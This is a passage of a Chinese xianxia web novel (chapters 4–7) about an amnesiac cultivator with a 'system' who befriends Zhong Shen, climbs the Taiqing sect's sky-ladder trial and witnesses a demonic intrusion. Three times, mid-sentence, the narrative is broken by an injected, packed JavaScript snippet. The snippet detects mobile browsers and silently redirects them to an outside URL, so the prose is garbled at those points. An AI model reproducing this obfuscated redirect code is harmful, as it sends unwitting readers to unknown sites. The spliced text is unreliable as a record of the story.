似乎是生怕他提前筑基,系统又火急火燎地重申了一遍不要提前筑基的重要性,严文洲好声好气地答应了,便转身下楼点了些菜安抚自己的五脏庙。 菜刚上齐,钟慎就出现在了楼梯口,眼神不经意那么一扫,就和严文洲对上了视线。 “严兄!”他眼睛一亮,屁颠屁颠地跑过来,“好巧啊!当时情况窘迫,我还没来得好好谢你!你面色比先前好许多啊!” 严文洲微笑,“谢什么,你我有缘,无需在意这么多。” 说罢,便示意他坐下,又叫来小二摆了一副碗筷。 钟慎略一犹豫,便直接坐了下来,心里暗暗发誓一定不能忘了这份恩情。 严文洲出手阔绰,店小二谄媚着忙前忙后,捂着刚到手的半枚下品灵石要走时,忽然听见一句:“劳烦问一句,飞仙城何处的棺材质量上佳?” 小二愣愣地重复了一遍,眼神茫然。 钟慎也呆住了,捧着个洁白如玉的大馒头不知何去何从,脸上逐渐显出些困惑。 严文洲摇头叹息,好在看在灵石的份儿上,店小二终于回过神,硬掐了自己一把装出一贯的笑容来便道:“贵客可是要寿材?城西天寿寿材铺是顶好的,城里不少世家都用哪儿的东西给自己凡俗子弟操办后事呢。” “好,多谢。”严文洲点了点头,给了个满意的笑脸。 小二脸一红,讷讷地走了。 钟慎食不知味地啃了几口馒头,差点吃噎了,好半晌才小心翼翼地问道:“严兄要寿材是……” 严文洲深深地看了他一眼。那江家后人已是穷途末路,要想博 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037412|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得垂青,钟慎这小子绝对办得到,只是其中还有诸多古怪。 他是个好人,可偌大四洲,好人多了去了,光一副好心肠可不够。严文洲给自己倒了杯酒,平淡道:“有位姓江的朋友去了。” “啊,节哀。”钟慎闻言,面上立刻有些不知所措,愣了一会儿便又拘谨地啃起了大馒头。 严文洲冷眼看着,觉得这小子要不是心机深重,演技绝佳,要不就真是初出茅庐,尚未见识到世路艰险,浑身上下只有一副热血心肠还算值两个钱。 若是后者,那便是极其好骗的。 看着钟慎一脸按捺渴望,绝不多吃一口的刚烈神情,严文洲状似无奈地笑了起来,手动把他手边的馒头换了一边,面前放了一盘肉香四溢的卤肉。 钟慎脸又红了一回,可兴许是便宜占多了便浑然不觉了,也可能是被那笑容中蕴含的默许勾走了心肠,再回神的时候,他已经风卷残云般地吃掉了大半盘卤肉。 真丢人! 可,真香啊! 钟慎没工夫叹气,只在心里那本账本上又重重记了一笔。 严文洲毫不意外地看着,嘴角微勾。食色性也,要想套话,这种时候岂不是最合适? 安静地等了一会儿,他有些怜惜地给钟慎倒了杯酒,见他一口下去便咳嗽连连,又连声道歉,赶紧换了杯茶。 一直到大半桌菜进了钟慎肚子里之后,严文洲也差不多得到了他想要的东西。 正如先前这小子的堂兄所言,这小子的身世很成问题。明面上,他是安城钟家二房的次子,但他的生母很可能在入门前便有了身孕。 用钟慎的话来说便是,“我娘一直有个心上人,临死前还在念叨着他,还把他的贴心信物都给了我,可那人就是个负心汉啊,我娘不值得啊,呜呜呜……” 而他爹非但没有嫌弃这个可能不是自己的孩子,还对母子两个极好,辛辛苦苦攒下的功勋净给两人换灵草灵药了,只是也是个可怜的,在钟慎八九岁的时候死在了一次鬼修袭击里,尸骨无存。 经过这一回打击,他娘熬了没几年便走了,只剩下钟慎一个孤苦伶仃地在钟家讨生活,于是便有了之前那一幕。 须知,中等偏上的世家在选仙时都会有一定的豁免名额,只要资质、修为过关,便能直接进入商定好的宗门,不过,内外门就不一定了。当然,别说钟家的名额只有寥寥两个,就算是有二十个,恐怕也轮不到钟慎。 所以,他便只能如散修一般跋山涉水跑到飞仙城来参选,甚至还因为将出门时被人阻挠而迟了几日,一路上不得不着急忙慌地赶路。 至于百川江家的痕迹…… 严文洲有些遗憾,决定找个机会再跟江家那位前辈谈一谈。他总觉得系统不会让这份道统一直待在他手里,可如今,道统到底落在哪儿还得看那片残魂的意思。 严文洲心思转了几圈,几乎没怎么动筷子,钟慎略一回想,耳朵又烧了起来,可道谢的话说得太多,再说下去他自己都要羞愧,思来想去,愈发无话可说,只讷讷蹦出来一句:“严兄,你可真是个好人。” 看着钟慎睁着清澈大眼,满脸真诚的样子,严文洲绷不住笑了,“钟兄,你我不过才见了三面,话可不要说得太早。要是我其实是图谋,唔,图谋你身子的恶人,你岂不是要被我骗得一干二净了?” 钟慎一呆,渐渐白了脸。 看着他一副天塌要完的表情,严文洲眼神轻佻地扫过这人搭在桌上的手指,笑容愈发莫测,“年纪虽小,筋骨却不错,过几年长开了定然是个俊俏郎君,钟兄,这些话,从前没人跟你说么?” 另一边,他又在心海里送出一道听起来有些茫然的心音:“系兄,我先前可曾有过和钟慎相似的朋友么?” 5. 第 5 章 “我只管修为,不管记忆!记忆还需要宿主自行探索才是!” “筑基之后也不行么?” “不能!记忆是记忆,修为是修为!不过,我应该能给你提供点资料。” “……好,那到时候就麻烦系兄了。” 严文洲悠悠送出一道心音便好整以暇地看着钟慎。这小子被吓唬了一通,眼神变得极为精彩,不过到底还是反应过来了,磕磕绊绊地说道:“严兄,你逗我呢吧,可、可真像啊!” 严文洲一笑,带着些歉意地开口道:“是为兄冒犯了,钟兄莫怪。”顿了顿,他又继续道:“钟兄是个好人,只是如今这世道,做好人还得有实力傍身才好,我不过是玩笑,钟兄却得多加小心。” 钟慎怎么会怪他呢?当时在长街上看见严文洲的一瞬,他就知道,这位道友是个好人! 从小到大,他旁的没有,预感是一等一得好,从来就没错过! 况且……钟慎偷偷瞄了一眼桌对面的严文洲,只觉得这人一身风流气度无人可比,但凡不是个瞎子,被这人用那双似乎会说话的眼睛扫上一眼,都不会再生出什么责怪的心思吧! 还图谋自己身子,长成严兄这样,还怎么可能看得上自己!? 这么一想,他立刻觉得自己修炼进度慢不是没有理由的——太没定力了!别人修炼的功夫,自己都在干什么!?再这样下去,还怎么挤进太清宗!? 他越想越惭愧,特别是发现严文洲周身气息又玄妙了几分后,几乎觉得自己已经被飞仙城的繁华腐蚀掉了入道初心,赶紧告辞返回客房入定去了。 严文洲自然看不出这些,只当是钟慎开始临阵磨枪,目送着他火烧屁股一般地窜上了楼,便转身出了客栈往天寿寿材铺买棺材去了。 寿材铺的服务十分周到,在严文洲大手一挥买了最贵的棺材之后还贴心地要送一堆花圈纸钱,不过念在老乞丐并无后人送行的份上,他还是婉拒了。 几日后,重头戏开场。 不知从何时起,原本大小宗门各自选日子的选仙成了每八年一次的选拔,虽然具体时间得依太清宗高人算出来的日子,但年份是错不了的。 飞仙城在太清宗山门下,聚集在这里的散修们一开始当然只是来参加太清宗选拔的,但到底是仙道第一大宗门,太清宗每次选仙都有海量散修参选,便是落选的,也有不少可造之材。 于是便有脑筋灵活的宗门发现了关窍——既然名声比不上太清宗,山门下参选修士寥落,那为何不直接到飞仙城捡太清宗不要的弟子? 先是有几个胆儿肥的宗门偷偷摸摸捡弟子,渐渐的,这几个宗门屁股后面就跟了一串旁的宗门,相看弟子的时候偶尔和太清宗的人碰上了便也只是心照不宣地一笑。 后来,太清宗为了避免有邪道宗门混入,索性挑明了,但凡想要进入飞仙城招收弟子,必须得要有相关证明,具体形式就是一份记录了宗门所在何处,师承何来的玉牒。 “贵宗玉牒呢?”严文洲好声好气地问着身边一个身材胖乎乎的道士。 一炷香前,此人便一直尾随在他身后,他原不确定此人到底为谁而来,但既然支开钟慎后还一直跟着,那便是为他而来的没错了。 问了两句,严文洲却有些失望——只是个来招收弟子的,还以为是熟人呢。不过这失望却没有持续多久,他转念一想,这道士最多不过筑基修为,自己原先的修为定然不止筑基,不认识也是自然的。 “这个……”一听要证明,老道士便尴尬地搓了搓手,“情况仓促,还没来得及办下来嘛!不过你放心,我们肯定是正经仙门!就在飞仙城外不远处,叫太易宗,你说不定还路过过呢!” 太易宗?还就在飞仙城外……严文洲神情古怪了一瞬。一山不容二虎的道理哪里都行得通,飞仙城离太清宗不过百里,这么近的地方居然还有一个门派,名字还如此相似,很难令人相信这不是个骗钱骗人的山寨宗门。 大概是已经见识到许多次类似的神情了,道士有些崩溃地抱头喊起来:“天尊啊,我们真的是正经门派啊!名字起得像太清宗我能有什么办法呢!这不是祖师爷起得么!掌门也真是的,改个名字有什么难的,宗门都快没了还讲究那么多……” 这老道士身板虽小,动静却闹得挺大,飞仙城的玄甲守卫顿时走向了这边。 “你们在干什么?” 老道士一哆嗦,猛地抬头,神情立变。严文洲虽然不清楚没有核准证明还在飞仙城内“招摇撞骗”的处罚,但用脚趾头想也知道那一定不是什么好混过去的。 他瞥了眼老道士,莫须有的尊老爱幼之心一下冒了出来,于是便朝玄甲守卫笑了笑,“抱歉,这位道兄有凡俗子弟过世了,心情有些激动。” 玄甲守卫也不知信了没信,只警告道:“天梯开启在即,莫要惹出事端。” 严文洲笑了笑,拉着老道士靠边站了站,小声问道:“既然就在飞仙城外,怎得连玉牒都没办下来?” 不提则已,一提起这茬,老道刚刚有所缓和的脸色再次发青,拉起严文洲的袖子就开始诉苦:“这个实在是很难办啊!小友怕是不知道,太清宗这玉牒不仅要交代宗门底细,还对宗门规模有要求,我太易宗本就是搬迁而来,门下弟子实在有限,好不容易够上了底线,却又被那审核的管事难住了!欸,说起来也是一言难尽啊!” 严文洲听明白了,这太易宗名字起得大,内里却是一穷二白,估计就个山头还算值点钱了,于是便笑道:“老兄,说句实在话,有太清宗在上,贵宗这名字在飞仙城实在不好招收弟子,毕竟都远走了,改个名字想必祖师爷也会谅解的,如今还是要赶紧重整旗鼓才是。” 老道一拍大腿,极力赞赏,“可不是!我也是这么想的!小友啊,咱们实在有缘啊!欸,天梯就快开了,你要是那什么了,可记得来城北锦绣客栈来找我啊!” 严文洲听了一耳朵,没往心里去,眼神凝在了横跨飞仙城上空的长虹上。这便是所谓天梯,也是飞仙城得名缘由。 天梯从太清宗山门直跨到飞仙城南门口,若能通过选拔,则落地便是太清宗,仙途从此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037413|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而始,若通不过,则只能落在飞仙城外的泥地上,再寻机会。 心海里,安静了许久的系统也坐不住了,“下一个任务已经发布了哦,请宿主自行查看!” 严文洲有些奇怪,往日里这位统兄不都是直接念出来的么,怎么这回还客套上了。 他阖眼观想了一阵,立刻明白了为什么——灵台上,一行金光闪闪的大字悬浮着:“请宿主跟随钟慎一同拜入太清宗,继续在宗门内执行保护任务!奖励,玄品灵草一棵!” “……系兄,你要是不会发布任务,下回就别发了。” 儿戏!这实在是儿戏!谁稀罕那棵破灵草!什么时候修炼还要人保驾护航才行了!?便是仙人后裔也还有身死道消的呢! 严文洲气得冷笑,觉得系统这分魂对于修炼的定义实在不对!义正辞严的心音陡然响了起来:“统兄,想来不论你本体是何物,你也是一路辛辛苦苦修炼上来的,资质固然重要,可金丹之后,心性才是最重要的……” 况且,自己也不能拜入太清宗。 严文洲说不上来自己为什么不能拜入太清宗,一个练气期散修,要是能拜入太清宗,那不是天大的好事么——有资源,有靠山,还能治一治自己的脑子。 可他莫名地确定,自己绝不能进太清宗! “系兄,修炼之路,可终归还是要自己走的,要是得靠着别人保驾护航,那迟早有一天会走不下去的。我能护他一时,难道还能替他扛雷劫么?我看那小子虽然看着柔弱可欺,内里却有一股刚强的劲儿,系兄可别磨了他的性子。” 系统的声音听上去居然有些委屈,“不光是为了钟慎,我也是为了宿主好啊!太清宗可是天下第一大宗门,哪怕做个外门弟子,灵丹妙药也是少不了的,而且太清宗三山六谷十二峰,灵气可比外面充裕太多了,正适合疗养啊!” 顿了顿,系统又发出一声犹犹豫豫的心音:“难道,宿主担心自己过不了天梯?” 严文洲嗤笑一声——还学会激将了。“系兄,那天梯内设幻境,你就不担心自己一道不知从何而来的残魂露了馅儿,被当作邪魔外道斩了?” “不会!” “系兄好生自信,我听闻太清宗每次选拔之时,太清宗掌教都会用方天水镜之术观察候选者的表现,那太清宗掌教可是两百年前就到了洞虚期,修的还是可辨鬼神的太清道统,当真不要紧?” “……你在套我话?” “不错。” 系统安静了好一会儿,大概是没想到还有严文洲这般厚颜无耻之人,也可能是在思考着该如何让严文洲乖乖就范。 倒是钟慎那傻小子,先前看上了某个散修兜售的灵草,被严文洲支了出去,现下已经又寻了回来,兴奋道:“严兄,天梯开了,咱们去吧。” 说完,他才发现,严文洲看着他的神情有些微妙,虽然乍看还是一派和气,但眉梢眼角多了几分凌厉,像是审视又像是挑剔。 初遇时被严文洲吓唬到的记忆又翻涌了上来,钟慎不觉压低了声音:“严兄,你……” 6. 第 6 章 一直到爬上天梯,钟慎还是有些胆战心惊,短短几个呼吸,严兄竟像是完全变了一个人一般。这一次,他万分确定,这不是自己的错觉。 难道,这是脑袋受伤之后留下的后遗症? 他心念一转,又为严文洲找到了一个十分合理的理由——像严兄那般偶然得了机缘才踏上修炼一途的散修,其实也该是那般模样的,钟家虽然刻薄,但好歹还是给了遮风避雨之处,若是在外风吹雨淋走江湖还似自己这般软弱,早就被吃得骨头都不剩了! 正想着,耳边忽地吹过一阵香风,“钟兄,怎走得汗都出了,可要歇一会儿?” 钟慎猛地抬头,熟悉的脸离自己只剩不到三寸,近得连眼睫毛有几根都数得清,亮星似的眸子就这么直勾勾地看过来。他吓了一跳,下意识往后一跳,“严兄,你、你、你……” 没等你出个所以然来,严文洲便笑了起来,又往钟慎身边走了几步,“怕什么,难不成我会吃了你?” 钟慎按捺住心中滋长的不对劲感,侧着身子让开一点,勉强笑道:“哈,严兄真会开玩笑,时间紧迫,我们还是赶紧往上爬吧。” “是啊,还是要抓紧呢!” 严文洲应了一声,幽幽叹了口气,猛然伸手一推,钟慎猝不及防之下,半个人晃晃悠悠地挂在了天梯外,要不是反应得快抓住了天梯边缘,恐怕此时已然坠了下去。 严文洲踱过去,微微俯身,一脸惋惜,“钟兄,你没发现这路上只剩下你我了么?欸,我先前就探过消息了,若是落入如此境地,那你我二人便只能有一个登顶的,实在对不住了。”说着,就要抬脚朝钟慎扒拉着天体边缘的手踩下去。 正当此时,钟慎看着近在咫尺的严文洲,却明白过来了,一边努力翻身躲开,一边大喝道:“不对!你不是严兄!你是幻境!” 心念刚起,他眼前便猛然一花,使劲儿眨了眨眼后便发现自己还好好地站在天梯上,前后都是影影绰绰的人影。而严文洲则停在他身后,一身风流气度不改,比起自己气喘吁吁的狼狈样儿,游刃有余地似乎还能再勇攀三万道台阶。 钟慎不由长舒一口气,这才发现自己背后已然被冷汗浸透了。太清宗幻境竟然恐怖如斯,自己甚至都不知道是什么时候进入的幻境! 等等,现在还不会也是幻境吧?谁说幻境不能一个套一个了!? 一看这小子先是放松又很快变得惊恐的眼神,严文洲就猜到了他心里在想什么——毕竟像选拔弟子这种活动,正经宗门大同小异,心境这种东西又不能像灵根一样直接被测出来,不是幻境还是幻境,那种故意让弟子厮杀的,就是妥妥的邪道宗门了。 轻笑一声,他故意凑过去,绕着钟慎走了一圈,奇怪道:“钟兄,怎么脸色这么难看啊,是在幻境里碰见什么了么?你放心,我可是真货。” 这简直是此地无银三百两,钟慎本就在怀疑眼前的严兄是真是假,此话一出,他几乎就要直接认定眼前就是个假货了。 严文洲一见计划得逞,立时大笑。 钟慎怔愣了一瞬,渐渐放下戒心——哦,这肯定是真的严兄! 不远处陡然传来一声凄厉至极的惨叫。 严文洲笑容一顿,抬头看向前方——怎么会有血腥味? 几声沉闷的重物落地声之后,一人滚到了面前,胸前一个血洞正飞速地晕开深色痕迹,浓重的腥甜顿时弥散开。 钟慎下意识要上前救治,忽地又回过神停住了脚,“真的假的?” “也是真的,”严文洲扫了一眼,觉得以这人胸前伤口的形状和角度来看,这人多半是自己拿刀捅的自己。这么一想,他也没动,看钟慎还有些犹豫的样子,又补了一句:“说不定是幻境里碰见什么亏心事了呢。” 不知想到了什么,钟慎陡然汗如雨下。 太清宗的弟子来得很快,几个眨眼的功夫便将人抬走了,还清理了台阶上的血迹,末了还十分贴心地嘱咐了一句:“这是意外情况,不过如果不打算继续参选的话,往旁边一跳就好了,会直接安全落地飞仙城的”。 严文洲含笑点头,转身拍了拍钟慎,示意他继续往前走。 一步、两步、三步……一个平台后又是一个平台…… 太清宗这选仙天梯也不知做了多长,竟有种茫茫无尽之感。钟慎底子弱,那副风吹就倒的身板走得脸色赤红,挥汗如雨,时不时就要歇上一歇,不过这样的修士却也多得很,虽说按照常识,修士在练气期都需要打熬身体,但那也是对于富裕的世家子弟而言,对于大部分野路子散修而言,能相对正确地踏入仙途已经是万幸,何况是这种可有可无的东西呢。 天梯上的幻境对他无效,严文洲走得无聊,索性有一搭没一搭地跟系统聊起天来:“统兄,我之前应该杀过很多人吧?要不然怎么一看见那人的伤口就有所感觉?” “……可能吧。” “难不成我以前是个大杀手?” “……说不定呢。” “不,我觉得剑客也有可能,毕竟我不是会那什么垂云剑诀么?” “也是哦。” …… 系统回答得甚是敷衍,严文洲也不以为意,絮絮叨叨了一阵忽然道:“统兄,你可得看好了,万一我不小心走到尽头了,那就不好了。” 系统被他陡然正经起来的语调吓了一跳,还以为是有人在窥探,着急忙慌赶紧探测了一番才没好气道:“放心,我看着呢,宿主你可要相信我的能力!” 严文洲乐了,送出了一道故作讶异的心音,“系兄,你多虑了,我自然是信你的。” 另一边,钟慎眼见着越来越多的人超过了自己,心下急了,回头看了严文洲好几次后便忍不住道:“严兄,你还是先走吧,我慢慢爬上来就是。” “着急什么,这路这么长,想来也不是真的要人从飞仙城走到太清宗山门下。” 虽说是这么个理儿,但钟慎还是觉得,天梯这么长,爬起来这么累,太清宗一定是有深意在里面的!像严兄这么心思清明,体质强悍的修士,不比自己通过选拔的概率高么? “严兄,我觉得还是保险些好,这路设计得这么长,说不定就是想看我们的定力心性呢,像严兄这样的修士,应该……” 话还没说完,他便觉得脚下一晃,正怀疑是不是自己体力耗尽,腿软了,扭头一看,严文洲正神情极为严肃地抬头看天。 下一秒,钟慎只觉得整个人不受控制地向前一倾,连滚带爬地猛冲了一段,身后传来震耳欲聋的断裂声! 下意识回头,心脏顿时漏跳了一拍——天梯,断了! 不过一个眨眼,严文洲的身影就已经消失在了他眼前。 凄厉的尖叫层层回荡起来,要不是现在还是正午,恐怕就直接从清朗仙门变成了阴森鬼域,钟慎茫然四顾,立刻瞥见了不少正下坠着的修士们。 该不会,自己又在不知道什么时候陷入了幻境吧? 这么想着,他又被狠狠撞了一下,险些被撞下天梯去。下意识地抓住那人,他抬头一看,居然还是个熟人,“……好巧啊。” 严文洲同样不可置信——天梯还真能断!? 先前系统不情不愿地告诉他,太清宗选仙可能出意外的时候他还不信,这么一道直通山门、各大峰主时刻关注着的天梯能出什么事? 总不能断了吧?! 那太清宗的管事得是贪墨了多少维修费用,浑身挂满了胆子才能干得出来吧!? 可谁能想到,这么离谱的事情就这么发生在了光天化日之下。 骂归骂,一面闪着微光的叶状法器已经出现在了他脚下,下坠速度顿时从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037414|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直达地府变成了悠哉游哉游山玩水。 这事情太古怪了,严文洲一边逼问着系统,一边叹息着驱动法器,拉了好几个倒霉的散修。 系统又在装死。 严文洲终于有些恼了,忽地耳边响起一阵相当嘹亮、相当嚣张、也相当傻缺的笑声。 “这便是选仙天梯!?哈哈哈,堂堂太清宗,也不过如此么!东极道那群疯子怕的就是这么个门派!?” 头顶上出现一个渺小的黑点,很快,黑点下降了一点,显出一个黑衣人来,破空声接连不断地响起,背后还有更多黑点急速飞驰而来。 像是一群苍蝇。 眸光不动声色地一扫,刚刚在绿叶上站稳的散修一个个面露痛苦之色,严文洲立刻忍住笑,调整出一副痛苦而虚弱的表情,从纳戒里掏出一枚回灵丹含在嘴里,权当味道有些古怪的糖豆嚼着。 “这、这难不成是魔道中人?” “老天,这可是飞仙城!?怎么被他们混进来的!?” “我、我、我,我的储物袋好像掉了,那可是我全部的身家啊!啊——” …… 嗡——嗡——嗡—— 沉重悠长的钟鸣声遥遥响起,像是从天边响起的一般,一连三声,所有人都不由恍惚了一瞬间。 “尔等何人?” 语气平淡,问得简单,声音也很年轻,但每一个字都自带一股超然之风,似乎这人是刚刚奉旨下凡的仙人,可随之而来的强大威压又让人情不自禁地要拜服在他脚下,任他驱使。 有意思,此人修为极高。严文洲眯起了眼,神情微妙,“统兄,这位是太清宗掌教?还是……” 系统仍然毫无反应,安静地像是根本不存在。严文洲终是压不住嘴角了,在这个气氛紧张的关头无声地笑了起来——这分魂把自己吹得天花乱坠,眼下看来,却也不是毫无破绽么。 头顶上又响起一道声音,“既然入贵宗属地,自当先奉拜帖,而后上门,不过,我手下都是些粗人,不懂这些弯弯绕绕的规矩,实在是对不起了。” 听着像是个读过点书的了,只是声音里透着股粘腻,还拿腔拿调的,十分不舒服。 严文洲啧了一声,还没见到人便已经讨厌上了。 “鬼面天君,怎么有空到我南洲来了?”又一道声音响起,比方才的声音苍老许多。 “这不是来问问我们东极道主的下落么?” 此话一出,周围几个尚且还蔫巴巴的散修顿时抛下了各自烦恼,激动起来了,像是听到了什么了不得的东西。 “他居然没死么?!” “我那时就在飞仙城!那日明明天降异象,整个城都在震动,肯定是陨落了!” “明朔剑尊出手,那魔头还能活!?” “可鬼面天君来要人了啊!他定然是有什么线索才敢这么上门吧!?” …… 严文洲听得好奇,虽说都是几个连筑基都还没有的底层修士,但小道消息是一点不少,说得有模有样的,可问题是……他仔细想了一会儿,最终插了进去:“东极道主是谁?” “呃,嗯?”几人看他的眼神顿时如看怪物一般。不,应该是看不知道从哪里冒出来的乡下土鳖。严文洲觉得自己应该已经很久没有感受过这样的眼神了,一时间五味杂陈,还摸不太清理由。 终于有人愣愣地回了一声:“东极道的主人,那个大魔头啊!” “他陨落了。” 严文洲陡然抬头,连那位好心散修又说了什么都没听清。是仙人似的那人说的——东极道主,陨落了。 耳中响起一阵低沉的嗡鸣,未曾经历过或是已然被遗忘的片段幻影般闪过,一边扭曲,一边和眼前的青山秀水重合起来。 飞行法器一时失去控制,陡然向下坠去。 7. 第 7 章 鬼面天君嗤笑一声,十分不屑,“明朔剑尊,没想到你这么居然也会诓人了!我今日上门自然不会平白无故惊扰各位一场,说实话,我们魔尊在多年前初至东极道时曾留下命灯一盏,前几日,那灯可是又亮了。难不成,这命灯还会作假么?” “命灯不会作假,可人是会作假的。” 平静如水的声音再度响起,话却说得毫不客气。那什么鬼面天君现在应该已经气成歪嘴了。严文洲苦中作乐地想了一瞬,思绪又被拉入茫茫湍流中,无数片段在眼前闪过。他像是坠入了一场落不到尽头的梦里,每一刹那都与无数亦真亦幻的过去擦肩而过。 覆盖着半张铁色面具的脸从血海中抬头,转瞬便在面前扭曲;长眉长须的老人甩着拂尘,悠悠云气在背后飘散,可他只恨铁不成钢地叹气;雪衣者仗剑而行,衣袍猎猎作响,一剑破天光…… 鬼面这人,本来长得还算俊俏,可不知发了什么疯,非要去练那门子邪门功法,现在好了,心性跟着脸一起歪了。 那老头子声音应该是太清宗掌教吧,怎么声音听着有些发虚呢,还记得这人之前中气十足骂人的样子呢。 不对啊,难道我从前是太清宗弟子?怎么觉得那老头儿怪熟悉的呢? …… 似乎过了很久,又似乎只是一瞬,严文洲陡然清醒,只觉得浑身剧痛,像是被体修当做肉馅儿浑身锤了一遍似的。 还湿哒哒的,泛着古怪的温热。 他突然明白过来了——自己阴沟翻船,当了回高空坠物,湿漉漉的玩意儿是自己的血。要不是有这身修为撑着,估计自己现在已经是一滩冒着热乎气的骨肉饼了! 不过,这不是没死么。 他笑了起来,总算想起了些东西,也算是不白摔这一回。 耳边响起一个惊恐的声音:“小友!小友你没事吧?!哎呦我的天,你且坚持住,千万坚持住啊!我、我这还有些丹药……” 有些熟悉。严文洲从乱七八糟的回忆里抽身,仔细想了一会儿——这不是那个野鸡门派的老道士么?居然还砸到了他这里! 老道士还挺慷慨,丹药给的毫不吝啬,严文洲吞了几颗,浑身渐渐泛起骨肉重连的刺痒发麻感。 灵气运转过十来圈,血呼啦啦一个人又从地上站起来了。严文洲低头看了看自己的衣裳,扭头又看地上一片深色血印子,觉得十分碍眼,冲老道士深深一鞠躬,“道兄,实在对不住了。” 老道士吓了一跳,摆手道:“不碍事。小友无事便好。” 鬼面天君还在唧唧歪歪,太清宗那两个也不知是闲的还是怎么的,居然也由着他在飞仙城上空大放厥词。 严文洲长叹一声,觉得这事儿一时半会可能还完不了,便找老道士要了一间无人的房间,把自己收拾干净了方才出来看热闹。 正巧赶上了尾声——银月似的剑光直冲鬼面而去,苍蝇似的黑点子们顿时消失在了视野里,下一刻,散布在云间,斑驳色块似的一段段天梯重新聚合,蔓延至天际的飞虹再度出现在飞仙城上空。 “天梯重开,有意拜入太清宗者,可重至飞仙城南门参选。”明朔剑尊的声音回荡在天地间,声音依旧平静,似乎如万古冰山般不可变移。 无形的威压随即消失。 一切都发生得很快,只是眨眼的功夫,天梯便又恢复原样了,像是明朔剑尊终于尽兴了,便随手一剑挑飞了眼前不停蹦跶着的小东西。 严文洲眨了眨眼,回味着方才那惊天一剑,莫名有些失落。 太清掌教苍老的声音随后响了起来:“太清宗承担此次所有损失,伤者可至飞仙城中杏堂免费医治,天梯开启延长三个时辰,三个时辰内踏上天梯者均可继续参选。” 话音落下,飞仙城上空便落下无数青白色小点来。很快,青白色小点变成了身穿太清宗服饰的弟子,一个个脚踩飞剑在飞仙城中穿行,时不时便拽起一个从半空中坠下,半死不活的修士朝杏堂疾驰而去。 老道士扫了眼被太清宗弟子提溜着跟软面条似的修士,溜到了严文洲身边,好奇道:“小友,你是体修么?怎得恢复如此之快?” “在下应该是剑修。”严文洲伸了把懒腰,感觉浑身上下已经长得差不多了。 老道士愣了一瞬——应该?他转念一想,这散修不过才练气期,多半连后面的功法去哪儿找都没头绪,自然是“应该”! 等了一会儿,只见严文洲在哪儿懒懒散散地抻筋伸腿,一点儿没有走的意思,便好意提醒道:“小友,天梯重开了,你不去么?” 严文洲摇头,“不去。” 老道士以为听错了,不由瞪着眼重新问了一遍,得到却还是同样的回答,末了还多带了一句听来十分真诚的问题:“道友,贵宗门在哪儿?可否带我一观?” “……这便是我太易宗了,”老道士搓着手,有些尴尬地停了下来,“道友可别看它现在地方小,有些破败,其实这附近三个山头都是我们的,只是门下弟子太少,无人修整而已。” 严文洲一路上挂着的笑终于僵住了,欲言又止,最后还是陷入了沉默。 一、二、三,主殿一共三开间,就只有中间那扇门是完全无损的,其余基本只剩个框儿了。主殿面前还有两片极其碍眼的灵田,看样子应该种的是泛灵草,回灵丹的主材之一,修真界销路长盛不衰的灵草。 弟子的草庐是看不见的,虽然老道士说还有另外两个山头,但严文洲严重怀疑,太易宗还有没有余力在其他地方修建洞府。该不会,直接让弟子们选个地方自己造吧? 回想自己上山前看见的那块木制路标,他不得不承认,太易宗这个野鸡门派真是野鸡到一定程度了,哪怕是个凡人误打误撞地上了山门,恐怕也不会觉得这是个传说中的修仙门派。 虽说确实很有缘,但也不是非太易宗不可。 打定了主意,严文洲有些为难地看向老道士,“道友,贵宗……” 似乎知道马上要听到什么了,老道士飞速打断了严文洲,拉起严文洲的袖子就苦口婆心地劝起来:“道友可别看我太易宗地方小,我宗可是传承万年的大派!修的乃是推演天机之法,而且心法从筑基到洞虚一应俱全,半个字儿都不带缺的!道友若是入我太易宗,那心法是半点不用愁!而且我太易宗弟子稀少,都是独苗苗啊,哪里像别的门派那般,要得到两句指点都得看运气……” 推演天机,没兴趣。 心法,不缺。 指点,不需要。 灵丹妙药、法器阵图,看着不像是很充足的样子。 综上所述,太易宗,实在不合适。 老道士那几颗丹药,算是打水漂了。严文洲一边抱歉地朝他笑了笑,一边冷酷地扯开老道士抓得紧紧的手,慢条斯理道:“道兄,实不相瞒……” 约莫是被他们拉拉扯扯的动静惊扰到了,主殿里走出一个人来。 严文洲心中一动,似有所感地朝那边望去,瞳孔立即一缩,这人的修为…… “炼虚大圆满。”装了许久哑巴的系统突然出声。 “宗主!”老道士很惊喜地喊了一声,而后就开始疯狂给自家宗主使眼色——瞧瞧瞧我带回来了什么好货色!快点想办法把他留下来! 只可惜,在场另外两个人完全没在意。 